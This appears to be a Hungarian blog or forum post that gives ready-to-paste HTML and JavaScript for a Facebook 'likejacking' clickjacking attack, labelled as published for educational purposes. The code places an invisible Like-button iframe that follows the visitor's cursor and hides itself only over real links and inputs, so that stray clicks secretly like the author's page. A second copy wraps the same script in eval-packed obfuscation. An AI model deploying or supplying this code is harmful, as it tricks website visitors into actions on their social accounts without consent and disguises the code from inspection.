Mi ez? Olvasd el:

• ClickJacking
• LikeJacking

Piros kettőskeresztek helyére jön az oldalaid id-ja. Oktatási célból közzétett kód.

Headerbe:

<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js" type="text/javascript"></script>

<script type="text/javascript">
function CJFBH(){
    jQuery("div[id^=\'cj-button-wrapper\']").hide();
}

function CJFBS(){
    jQuery("div[id^=\'cj-button-wrapper\']").show();
}
</script>

Body legaljára:

<div id="cj-button-wrapper-5" style="position: absolute; opacity: 0; filter: alpha(opacity = 0); -ms-filter:'progid:DXImageTransform.Microsoft.Alpha(Opacity=0)';  margin-left: -50px; z-index: 100; width:27px; height:20px; overflow:hidden">

<iframe src="http://www.facebook.com/plugins/like.php?href=http://facebook.com/#########&amp;layout=button_count&amp;show_faces=false&amp;width=50&amp;action=like&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:45px; left:-19px; height:21px; z-index: 0; position: relative;" allowTransparency="true"></iframe>

</div>

<script type="text/javascript">
  jQuery( document ).ready( function() {
      $( "#cj-button-wrapper-5" ).parent().mousemove( function( e ) {
        jQuery( "#cj-button-wrapper-5" ).css( {
           top: e.pageY - 10,
           left: e.pageX + 30
        } );
     } );

cj_hider();
var cj_fb_timer = setTimeout("cj_hider()",5000);

} );

function cj_hider(){
     jQuery("input").mouseout(function(){CJFBS();});
     jQuery("a").mouseout(function(){CJFBS();});
     jQuery("button").mouseout(function(){CJFBS();});
     jQuery("textarea").mouseout(function(){CJFBS();});
     jQuery(".ratingblock").mouseout(function(){CJFBS();});         
     jQuery("object").mouseout(function(){CJFBS();});
     
     jQuery("input").mouseover(function(){CJFBH();});
     jQuery("a").mouseover(function(){CJFBH();});
     jQuery("button").mouseover(function(){CJFBH();});
     jQuery("textarea").mouseover(function(){CJFBH();});
     jQuery(".ratingblock").mouseover(function(){CJFBH();});         
     jQuery("object").mouseover(function(){CJFBH();});
}
</script>

Obfuszkált verzió.

Headerbe:

<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js" type="text/javascript"></script>

<script type="text/javascript">
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1 7(){0("3[2^=\\\'5-6-4\\\']").8()}1 9(){0("3[2^=\\\'5-6-4\\\']").a()}',11,11,'jQuery|function|id|div|wrapper|cj|button|CJFBH|hide|CJFBS|show'.split('|'),0,{}))

</script>

Body aljára:

<div id="cj-button-wrapper-5" style="position: absolute; opacity: 0; filter: alpha(opacity = 0); -ms-filter:'progid:DXImageTransform.Microsoft.Alpha(Opacity=0)';  margin-left: -50px; z-index: 100; width:27px; height:20px; overflow:hidden">

<iframe src="http://www.facebook.com/plugins/like.php?href=http://facebook.com/##########&amp;layout=button_count&amp;show_faces=false&amp;width=50&amp;action=like&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:45px; left:-19px; height:21px; z-index: 0; position: relative;" allowTransparency="true"></iframe>

</div>

<script type="text/javascript">
 eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1(m).l(0(){$("#f-7-9-5").j().n(0(e){1("#f-7-9-5").h({i:e.k-v,u:e.t+s})});8();p o=q("8()",r)});0 8(){1("g").2(0(){4()});1("a").2(0(){4()});1("7").2(0(){4()});1("b").2(0(){4()});1(".c").2(0(){4()});1("d").2(0(){4()});1("g").6(0(){3()});1("a").6(0(){3()});1("7").6(0(){3()});1("b").6(0(){3()});1(".c").6(0(){3()});1("d").6(0(){3()})}',32,32,'function|jQuery|mouseout|CJFBH|CJFBS||mouseover|button|cj_hider|wrapper||textarea|ratingblock|object||cj|input|css|top|parent|pageY|ready|document|mousemove|cj_fb_timer|var|setTimeout|5000|30|pageX|left|10'.split('|'),0,{}))
</script>